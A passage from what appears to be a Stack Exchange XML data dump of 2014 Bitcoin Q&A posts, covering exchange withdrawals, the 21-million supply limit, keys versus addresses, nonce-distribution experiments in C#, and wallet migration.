&lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; have all a different deposit wallet, and they deposited 1, 2 and 3 LTC respectively. You had fun trading, and want to withdraw 2.5 LTC. Cryptsy sends 2.5 LTC from the deposit wallet from person &lt;code&gt;C&lt;/code&gt;, so there is only 0.5 LTC left in that wallet and you have (after confirmation) 2.5 LTC in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you trade, there is no 'real' LTC being transferred between wallets, only on withdrawl and deposits. Otherwise you cannot trade that fast (and other disadvantages, like fees and huge blocks)&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-24T13:23:15.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24872" PostTypeId="2" ParentId="24869" CreationDate="2014-04-24T14:02:58.847" Score="2" Body="&lt;p&gt;As amended, your calculations look essentially correct to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The total time will actually be worse, since you are competing with all other users of the network for block chain space.  And some miners enforce a smaller block size limit - in the default client I think it is 350K.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I suggest that you don't do that :-) As far as I know, Bitcoin was never intended to be used for micro-payments like this, and in fact many of these features exist specifically to discourage them. You may need a different business model.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-04-24T14:38:31.617" LastActivityDate="2014-04-24T14:38:31.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24873" PostTypeId="1" CreationDate="2014-04-24T14:31:04.693" Score="11" ViewCount="8119" Body="&lt;p&gt;One of the commonly cited advantages of bitcoin is that there's guaranteed to be only 21 million bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my understanding is that the bitcoin protocol is patched by an opensource community, is it possible that the bitcoin miners could start using code that allows for more than 21m bitcoin? &lt;/p&gt;&#xA;" OwnerUserId="6284" LastEditorUserId="5406" LastEditDate="2016-03-15T09:20:45.553" LastActivityDate="2016-03-15T22:42:52.087" Title="Is it possible for more than 21 million bitcoins to exist if 51% agree?" Tags="|money-supply|majority-attack|reward-schedule|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24876" PostTypeId="2" ParentId="9305" CreationDate="2014-04-24T15:28:54.357" Score="0" Body="&lt;p&gt;I built the better scheme. I look at the last 1000 blocks, but I give more importance to the newer blocks. It is a geometric distribution such that the last 50 blocks are 1/2 the total weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scheme recovers from a 90% loss of mining power in 10 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/zack-bitcoin/basiccoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zack-bitcoin/basiccoin&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="9415" LastActivityDate="2014-04-24T15:28:54.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24877" PostTypeId="2" ParentId="24873" CreationDate="2014-04-24T15:33:33.027" Score="0" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, because standard clients would reject these blocks, regardless of which chain is longest. Only miners and clients operating under these other rules would accept this blockchain. This is &lt;a href=&quot;https://en.bitcoin.it/wiki/Prohibited_changes&quot; rel=&quot;nofollow&quot;&gt;likely to never change&lt;/a&gt; with the standard Bitcoin client (and would have to be accepted, by clients upgrading to the new protocol), so the 21 million limit is secure against a 51% attack.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-04-24T15:42:45.087" LastActivityDate="2014-04-24T15:42:45.087" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24879" PostTypeId="2" ParentId="24817" CreationDate="2014-04-24T15:55:46.393" Score="0" Body="&lt;p&gt;Bandwith usage of a Bitcoin miner is almost negligible, in the order of 0.125 KB/sec &lt;a href=&quot;https://bitcointalk.org/index.php?topic=268679.0&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connection stability it's more important to keep the miner working 24 hours a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, some altcoin has block generation every minute, in this case also round trip time to the mining pool is important because otherwise you have high percentage of dead share. This doesn't really apply to Bitcoins because block generation is every 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-04-24T15:55:46.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24881" PostTypeId="1" CreationDate="2014-04-24T16:59:30.863" Score="1" ViewCount="665" Body="&lt;p&gt;The service &lt;a href=&quot;http://cosign.co.in/&quot; rel=&quot;nofollow&quot;&gt;CoSign&lt;/a&gt; shows that to create a multisig wallet you need to provide a Senders Address and Senders Public Key.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that they were the same thing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="15447" LastActivityDate="2014-04-24T22:12:11.663" Title="Is a bitcoin wallet address the same as your public key?" Tags="|public-key|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24882" PostTypeId="2" ParentId="24873" CreationDate="2014-04-24T17:08:03.907" Score="4" Body="&lt;p&gt;Maybe. It would require a split in bitcoin users. Those who wanted the change could switch to a new version of the bitcoin software with the code changed to allow it. The problem comes from the fact that it would have to be a voluntary change. Some would want to change, others wouldn't, and this would split the bitcoin community. Any transactions that occur in the either chain wouldn't be reflected in the other. But any balance you had at the time of the split would be reflected in both chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a matter of semantics on whether the new, modified bitcoin would even be considered the real 'bitcoin'. If the majority of the community thought it was an invalid change, then the new would take the role of just another altcoin and people probably wouldn't even call it bitcoin. If the majority liked the change, it's possible that the old bitcoin would lose value and be considered just another altcoin while the new version takes it's place (or even cease to be used at all). Or, it could be even and they could coexist, but that seems unlikely to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think such a fork is something that the BTC developers would do to the community. Open source communities are generally afraid of forks anyway because they tend to kill projects by splitting the development team. Beyond that, doing so has the power to really lower the confidence in BTC as a currency. The people who already have coins would feel mistreated because the protocol change would mean the minimum value of their coins would be lower. It would essentially be equivalent to the gold conversion being lowered on the dollar during the gold standard.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-04-24T17:08:03.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24883" PostTypeId="2" ParentId="24881" CreationDate="2014-04-24T17:57:05.967" Score="6" Body="&lt;p&gt;A public key in Bitcoin is a pair of 256-bit numbers used as part of the ECDSA scheme. A &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;Bitcoin address&lt;/a&gt; is a Base58-encoding of the 160-bit hash of the public key (the hash function in question being RIPEMD160 of SHA256).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the public key you can easily and deterministically compute the address, but from the address alone you cannot deduce the public key.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-04-24T22:12:11.663" LastActivityDate="2014-04-24T22:12:11.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24884" PostTypeId="2" ParentId="24881" CreationDate="2014-04-24T18:02:16.977" Score="2" Body="&lt;p&gt;The &lt;strong&gt;public key&lt;/strong&gt; is a pair of 256-bit numbers that are the coordinates of a point on an ECDSA ellipctic curve.  (Bitcoin uses the secp256k1 curve.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin &lt;strong&gt;address&lt;/strong&gt; is calculated from the public key by taking a binary representation of the public key, hashing it, and then encoding it with the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;Base58Check&lt;/a&gt; scheme so you can easily see it and send it to people.  The details are explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing currently missing from the wiki page is that each public key has &lt;em&gt;two different binary encodings&lt;/em&gt; depending on whether you used ECDSA point compression (as defined in &lt;a href=&quot;http://www.secg.org/download/aid-780/sec1-v2.pdf%E2%80%8E&quot; rel=&quot;nofollow&quot;&gt;SEC1&lt;/a&gt;).  Therefore, each public key actually has two different addresses.  Currently Armory seems to use the &quot;uncompressed&quot; addresses but Multibit uses &quot;compressed&quot; addresses, at least by default.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-04-24T18:02:16.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24886" PostTypeId="2" ParentId="18194" CreationDate="2014-04-24T19:44:22.837" Score="-1" Body="&lt;p&gt;lol the Q/A contains far too much flaming and too little answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, hashes per second can be computed by some sort of some of hashes per time frame, divided by time in frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like... 0% of mining hardware will deliver its full-on however-millions-of-hashes directly to the mining software. From what I can tell, there's 2 other ways to measure the metric:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;# of qualified nonces to produce hash. As far as I know, this figures in the 'difficulty 1' mask. Some mining software when dealing with pools will throw out a great number of these unless they match the suggested share difficulty. Brings me to metric #2&lt;/li&gt;&#xA;&lt;li&gt;# of submitted shares, given current share difficulty. I believe this is how pools calculate your H/s. It's more variant because of the lower number of shares. I believe this can be computed by your 'accepted' rate, the share difficulty, and the block difficulty (i think???)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any clarification on these would be.... really awesome &lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2014-04-24T19:44:22.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24887" PostTypeId="2" ParentId="24869" CreationDate="2014-04-24T19:52:50.013" Score="4" Body="&lt;p&gt;You're doing it wrong if your service generates thousands of dust-sized outputs. You need to consolidate your outputs as you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that a transaction under your current model is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input (x1): &#xA;Payer Address (X BTC)&#xA;&#xA;Outputs (x3):&#xA;Payee Address (Y BTC)&#xA;Service Wallet Address (100 satoshis)&#xA;Payer Change Address (X - Y - 0.00000001 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you should do is to keep the Service Wallet Address accumulate the 100 satoshis as you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Inputs (x2):&#xA;Payer Address (X BTC)&#xA;Service Wallet Address (Z BTC)&#xA;&#xA;Outputs (x3):&#xA;Payee Address (Y BTC)&#xA;Service Wallet Address (Z + 0.000001 BTC)&#xA;Payer Change Address (X - Y - 0.000001 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-04-24T19:52:50.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24888" PostTypeId="2" ParentId="24650" CreationDate="2014-04-24T20:10:03.960" Score="1" Body="&lt;p&gt;I conducted the following tests using C# (using the &lt;a href=&quot;https://litecoin.info/Scrypt&quot; rel=&quot;nofollow&quot;&gt;block header from the Litecoin wiki&lt;/a&gt;; Dogecoin is the same deal). Here's a test using scrypt: (I didn't preset the limit at 14857; it just took so long I stopped it there)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var dict = new Dictionary&amp;lt;uint, int&amp;gt; { { 0, 0 }, { 1, 0 } };&#xA;byte[] blockHeader = new byte[] { 0x01, 0x00, 0x00, 0x00, 0xae, 0x17, 0x89, 0x34, 0x85, 0x1b, 0xfa, 0x0e, 0x83, 0xcc, 0xb6, 0xa3, 0xfc, 0x4b, 0xfd, 0xdf, 0xf3, 0x64, 0x1e, 0x10, 0x4b, 0x6c, 0x46, 0x80, 0xc3, 0x15, 0x09, 0x07, 0x4e, 0x69, 0x9b, 0xe2, 0xbd, 0x67, 0x2d, 0x8d, 0x21, 0x99, 0xef, 0x37, 0xa5, 0x96, 0x78, 0xf9, 0x24, 0x43, 0x08, 0x3e, 0x3b, 0x85, 0xed, 0xef, 0x8b, 0x45, 0xc7, 0x17, 0x59, 0x37, 0x1f, 0x82, 0x3b, 0xab, 0x59, 0xa9, 0x71, 0x26, 0x61, 0x4f, 0x44, 0xd5, 0x00, 0x1d, 0x45, 0x92, 0x01, 0x80, };&#xA;for (uint nonce = 0; nonce &amp;lt; 14857; nonce++)&#xA;{&#xA;    var nonceBytes = BitConverter.GetBytes(nonce);&#xA;    Array.Copy(nonceBytes, 0, blockHeader, blockHeader.Length - 4, 4);&#xA;    var hash = SCrypt.ComputeDerivedKey(blockHeader, blockHeader, 1024, 1, 1, null, 32);&#xA;    if (hash[31] == 0)&#xA;        dict[nonce % 2] += 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 32&#xA;1 29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And with SHA256 (using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;block header from the Bitcoin wiki&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var sha = SHA256.Create();&#xA;var dict = new Dictionary&amp;lt;uint, int&amp;gt; { { 0, 0 }, { 1, 0 } };&#xA;byte[] blockHeader = new byte[] {0x01,0x00,0x00,0x00,&#xA;    0x81,0xcd,0x02,0xab,0x7e,0x56,0x9e,0x8b,0xcd,0x93,0x17,0xe2,0xfe,0x99,0xf2,0xde,0x44,0xd4,0x9a,0xb2,0xb8,0x85,0x1b,0xa4,0xa3,0x08,0x00,0x00,0x00,0x00,0x00,0x00,&#xA;    0xe3,0x20,0xb6,0xc2,0xff,0xfc,0x8d,0x75,0x04,0x23,0xdb,0x8b,0x1e,0xb9,0x42,0xae,0x71,0x0e,0x95,0x1e,0xd7,0x97,0xf7,0xaf,0xfc,0x88,0x92,0xb0,0xf1,0xfc,0x12,0x2b,&#xA;    0xc7,0xf5,0xd7,0x4d,&#xA;    0xf2,0xb9,0x44,0x1a,&#xA;    0x42,0xa1,0x46,0x95,};&#xA;for (uint nonce = 0; nonce &amp;lt; 1000000; nonce++)&#xA;{&#xA;    var nonceBytes = BitConverter.GetBytes(nonce);&#xA;    Array.Copy(nonceBytes, 0, blockHeader, blockHeader.Length - 4, 4);&#xA;    var hash = sha.ComputeHash(sha.ComputeHash(blockHeader));&#xA;    if (hash[0] == 1)&#xA;        dict[nonce % 2] += 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 1908 &#xA;1 1951 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows that, regardless of whether the nonce is even, coin algorithms produces roughly the same number of high-difficulty results. (I believe this is a good test of both SHA256 coins like Bitcoin and scrypt coins like Litecoin and Dogecoin; yes, I'm pretending the difficulty is much lower by only paying attention to one byte, but the point remains)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why are multiples of 256 and even numbers so common in the real world? My guess is that mining software most commonly chooses these nonces, though there's no benefit to it. For example, what you call a nonce divisible by 256 could be considered a number under 2^24 (with reversed endianness). Nonces don't need to be chosen with high entropy, so it's acceptable for them to be somewhat predictable - just as long as you're not wasting your time by using the same nonce twice on the same block header.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-04-25T13:39:58.130" LastActivityDate="2014-04-25T13:39:58.130" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24890" PostTypeId="2" ParentId="19365" CreationDate="2014-04-24T20:53:32.453" Score="-1" Body="&lt;p&gt;Once all the bitcoins have been mined, or even close to it, the situation will become more interesting.  The more people continue to adopt it the price will continue to rise.  Hopefully bitcoin, or some other crypto currency will become accepted world-wide.  Since rising population means more and more people adopting it, the amount 1 bitcoin is worth will continue to rise, leaving more people using fractions of bit coins that will be worth what one bit coin was worth a few years before.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.)  Poor people, who are able to save very little will find themselves much wealthier as populations increase just by saving a little (poverty will not be permanent for anyone).  Instead of there being inflation, rising population will cause deflation.  Anyone who saves money, including those who are already wealthy, will grow wealthier with each person born.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.)  Research in maintaining the health and increasing the lifespan of a population will become more important.  It would be in the &quot;Power Elite's&quot; own selfish interested to keep individuals alive and healthy for as long as possible to ensure the highest possible number of transactions to maintain and increase the amount their own bitcoins value.  There are roughly 0.003 bitcoins for every person on the planet.  If this form of money or payment were to be accepted by all, this number would decrease with each person, causing it to become more scarce, leading to higher value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.)  War would become unprofitable since the value of bitcoin depends on the number of people who possess it.  If a country goes to war with another and decimates a population, those leading the charge would find their wallets smaller when the war was over.  Fewer people=Fewer people with wallets=Lower value... End of war?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) The way people invest would change:  more people would invest in live saving, prolonging, technology to increase value of the cryptocurrancy instead of war.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5.)  New Language would develop; we are seeing this already with phrases like &quot;mBTC&quot; or &quot;millibitcoin&quot;.  If it is successful we could hear phrases like &quot;nano-bit&quot; to explain the price of a product since the price of one bitcoin would be such a high value, it would be as common as someone claiming to have a million dollar bill.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.)  hundreds of years from now people will look back at our paper currency system and think one of two things.  1.) They will see how the world descended into wars as the nations of the world started to go bankrupt, like hungry animals backed into a corner or 2.) our paper currency will seem as strange to them as Native Americans trading beads.  And the pioneers of cryptocurrancy will look like the settlers of that new world, trading those beads for their land, leading to a revolution and changing the world... minus the genocide ;)  &lt;/p&gt;&#xA;" OwnerUserId="15450" LastActivityDate="2014-04-24T20:53:32.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24891" PostTypeId="2" ParentId="24873" CreationDate="2014-04-24T21:15:12.063" Score="1" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, and then bitcoin blockchain will have fork. Then the old bitcoin wallet (I use only wallet here because miners or pools have to run the wallet software and it is both a server and a client) won't accept the block generated from the new wallet. New wallets also won't accept blocks generated from the old one. And if the protocol is not upgraded or changed, such that blocks continue to be broadcasted to all bitcoin clients, but each side does not accept the blocks generated from opposite side of wallets. The transaction to a address of different wallet of opposite side will become un-spendable. For example, when you send money from a old wallet to a new patched wallet, the designated BTC address is valid so the transaction is allowed. But in the new patched wallet, the receiver won't never get the money because his wallet does not accept the block which contains the transaction. Even &amp;lt; 51%, this also occurs and transactions are allowed only in the same side of wallets.&lt;/p&gt;&#xA;" OwnerUserId="9307" LastActivityDate="2014-04-24T21:15:12.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24893" PostTypeId="2" ParentId="24650" CreationDate="2014-04-25T00:24:39.223" Score="8" Body="&lt;p&gt;I think that Tim S. may have the answer with his comment about endian-ness.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your observations about the nonce having its lowest byte zero (being a multiple of 256), are with respect to the little-endian byte order of the block itself.  From the perspective of a big-endian machine, these are statements about the &lt;em&gt;high&lt;/em&gt; byte of the nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So consider a miner which is big-endian.  The natural algorithm is &quot;start with nonce=0, compute scrypt, increment nonce, repeat&quot;, so your &quot;even&quot; nonces will be tried first.  However, when a new transaction (or a new block from another miner) arrives, a new block header has to be constructed, and it would be natural to restart the nonce at zero when this happens.  In order to get a nonce that is &quot;not a multiple of 256&quot;, it has to complete &lt;code&gt;2^24&lt;/code&gt; hashes before being restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, x86 is the most common desktop CPU, and it is little-endian, but most scrypt mining is done on GPUs.  I hypothesize that a majority of these GPUs are big-endian, or at least that some common mining software causes them to increment their nonce in a big-endian manner.  Does anyone know if this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot;&gt;this chart&lt;/a&gt;, it looks like modern GPUs can run scrypt at roughly 1 Mhash/sec.  So &lt;code&gt;2^24&lt;/code&gt; hashes would take 16 seconds.  Litecoin is currently averaging roughly 10K transactions per day, which is an average of one every 8 seconds or so.  So it would not be surprising that a miner would  usually not get into their high byte (which for you is the low byte) before restarting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hypothesis would also explain why we do not see such a pattern with Bitcoin.  Current SHA-256 ASIC miners run at many Ghash/sec, and so are very likely to go through all &lt;code&gt;2^32&lt;/code&gt; possible nonces before being restarted by new transaction data.  (We might see patterns in the &lt;code&gt;extraNonce&lt;/code&gt;, though.) &lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-04-25T01:59:55.143" LastActivityDate="2014-04-25T01:59:55.143" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24895" PostTypeId="1" CreationDate="2014-04-25T04:53:14.280" Score="0" ViewCount="968" Body="&lt;p&gt;I deposited dogecoins in my cryptsy account through faucet. How the transaction id (txid) has been displayed in cryptsy UI? suppose I make the transaction then I know the transaction id, but how cryptsy get transaction id for the particular address? &lt;/p&gt;&#xA;" OwnerUserId="12634" LastActivityDate="2014-08-05T12:43:49.860" Title="How to get transaction id (txid) in UI" Tags="|transactions|bitcoind|dogecoin|cryptsy|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24896" PostTypeId="1" AcceptedAnswerId="24897" CreationDate="2014-04-25T09:17:30.113" Score="-2" ViewCount="186" Body="&lt;p&gt;I have a one year research project in my MSc curriculum. So i was suppose to address a existing issue in bitcoin protocol. Highly appreciate if someone can advise me and give me some ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14928" LastActivityDate="2014-04-25T09:23:37.983" Title="Bitcoin related research areas" Tags="|alternatives|cryptography|proof-of-work|proof-of-stake|academic-research|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-25T20:44:29.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="24897" PostTypeId="2" ParentId="24896" CreationDate="2014-04-25T09:23:37.983" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://hackingdistributed.com/2013/11/04/bitcoin-is-broken/&quot; rel=&quot;nofollow&quot;&gt;Selfish mining&lt;/a&gt; is probably one of the most addressed issues that was theorized by a group at Cornell university. I find this interesting, because rather than being a technical issue such as &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;transaction malleability&lt;/a&gt;, it is more of a conceptual issue with how Bitcoin and its consensus system works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should get you started and give you some food for thought.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-04-25T09:23:37.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24898" PostTypeId="2" ParentId="24650" CreationDate="2014-04-25T12:42:19.993" Score="0" Body="&lt;p&gt;&lt;s&gt;The endianness might be not an issue because either in big or little endian, it allows a way to increase the possibility to find the nonce quickly compare to others who just sequentially iterate over 2^32 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In big endian, the result means &gt; 80% nonces are found under the space from 0 to 2^24, so don't waste time to continue to try 2^24 to 2^32, just advance to next second or alter some data to start finding the nonce from 0 again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In little endian, the result means &gt; 80% nonces are multiples of 256, so you might also have 80% ~ 90% possibilities to find the nonce that can solve the block.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the nonce is not predicable, either counting the nonce from 0 up in big endian or little endian should not be a issue. They always could find a possible solution to the block.&lt;/p&gt;&#xA;" OwnerUserId="9307" LastEditorUserId="9307" LastEditDate="2014-04-28T06:10:49.737" LastActivityDate="2014-04-28T06:10:49.737" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24899" PostTypeId="1" CreationDate="2014-04-25T14:56:46.163" Score="0" ViewCount="1501" Body="&lt;p&gt;I have a MultiBit wallet and I need to transfer it to a new computer.  I'm not 100% sure which files/ directories need to be transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some reading but the discussion of private keys etc made things more confusing.&lt;/p&gt;&#xA;" OwnerUserId="15459" LastActivityDate="2014-04-25T18:20:18.337" Title="Moving MultiBit wallet to new computer" Tags="|multibit|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-25T20:46:00.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="24901" PostTypeId="1" CreationDate="2014-04-25T15:13:18.323" Score="1" ViewCount="266" Body="&lt;p&gt;Is there any method to retrieve bitcoins holded in unspentable transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to transact coins from address A to address B, but coins in address A is holded in unspentable transactions. I have used &quot;&lt;strong&gt;listunspent&lt;/strong&gt;&quot; command to confirm this. Now how can i retrieve the coins and transact to address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or the transaction can be processed only if the confirmation reaches 100 blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody help me please..&lt;/p&gt;&#xA;" OwnerUserId="10068" LastActivityDate="2014-04-25T15:13:18.323" Title="Unspent Bitcoins" Tags="|bitcoind|unconfirmed-transactions|" AnswerCount="0" CommentCount="2" ClosedDate="2015-12-21T15:21:59.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="24902" PostTypeId="1" CreationDate="2014-04-25T16:14:50.627" Score="2" ViewCount="404" Body="&lt;p&gt;It seems with a lot of alternate cryptocurrencies that forks are a serious problem. Due to attacks or multi-coin pools throwing insane amounts of hash power I have noticed a few of my coins regularly show issues with blockchain download giving error: Warning: Invalid checkpoint found! Displayed transactions may not be correct! you may need to upgrade, or notify developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found someone who has had a similar issue here: &lt;a href=&quot;https://cryptocointalk.com/topic/7060-ann-fluttercoin-flt-pow-pos-and-new-proof-of-block-pob-mining/page-2&quot; rel=&quot;nofollow&quot;&gt;https://cryptocointalk.com/topic/7060-ann-fluttercoin-flt-pow-pos-and-new-proof-of-block-pob-mining/page-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, they are told to delete the blockchain and start the client again. Due to the already gigantic size of some coins (especially coins with low targets and thus high block generation rate) which is growing, I am less and less inclined to use a shortcut such as this, especially since I feel this creates a weakness in the network if a large portion of users have this problem, and all delete and restart their blockchain. Not to mention larger coins such as copperbars takes approximately 2 days being the only daemon to catch up on my desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to help prevent these issues, and if I do get these kinds of issues, is there anything I can do besides &quot;delete everything and start over&quot;?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-23T21:25:44.873" Title="Dealing with forks" Tags="|altcoin|blockchain-fork|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24905" PostTypeId="2" ParentId="24899" CreationDate="2014-04-25T18:20:18.337" Score="1" Body="&lt;p&gt;You should only transfer the &lt;code&gt;.wallet&lt;/code&gt; file. This already includes the private key and therefor should NEVER be saved unencrypted in a server you do not control, or in a place which is not safe. You can import the &lt;code&gt;.wallet&lt;/code&gt; file on your other computer and do your bitcoin thingies from there. Make sure to not run both wallets at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the main folder of Multibit this &lt;code&gt;.wallet&lt;/code&gt; file is stored. There is also an &lt;code&gt;Wallet-data&lt;/code&gt; folder. In there there are several backups of the wallet, and the private key. You can also export this private key, and import it on the other computer. In that way, the wallet will be generated (and will hold exactly the same amount of BTC after synchronising) and you can also do everything you want. Maybe that is what confused you.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-25T18:20:18.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
